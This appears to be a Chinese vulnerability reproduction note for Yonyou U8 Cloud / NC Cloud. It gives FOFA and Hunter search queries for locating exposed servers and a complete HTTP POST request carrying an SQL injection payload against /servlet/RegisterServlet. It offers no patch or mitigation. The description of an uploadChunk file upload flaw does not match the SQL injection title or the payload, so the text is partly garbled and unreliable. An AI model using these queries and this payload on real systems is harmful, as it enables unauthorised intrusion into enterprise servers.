Y3-25用友-U8-Cloud-SQL
漏洞描述:
NC Cloud是用友推出的大型企业数字化平台。 用友NC cloud uploadChunk 存在任意文件上传,攻击者可利用此漏洞获取服务器权限。
网站图片:
网络测绘:
fofa语法:
app=“用友-NC-Cloud”
Hunter
web.body=“uap/rbac”
web.body=“public/img/background.jpg”
漏洞复现:
payload:
POST /servlet/RegisterServlet HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
效果图: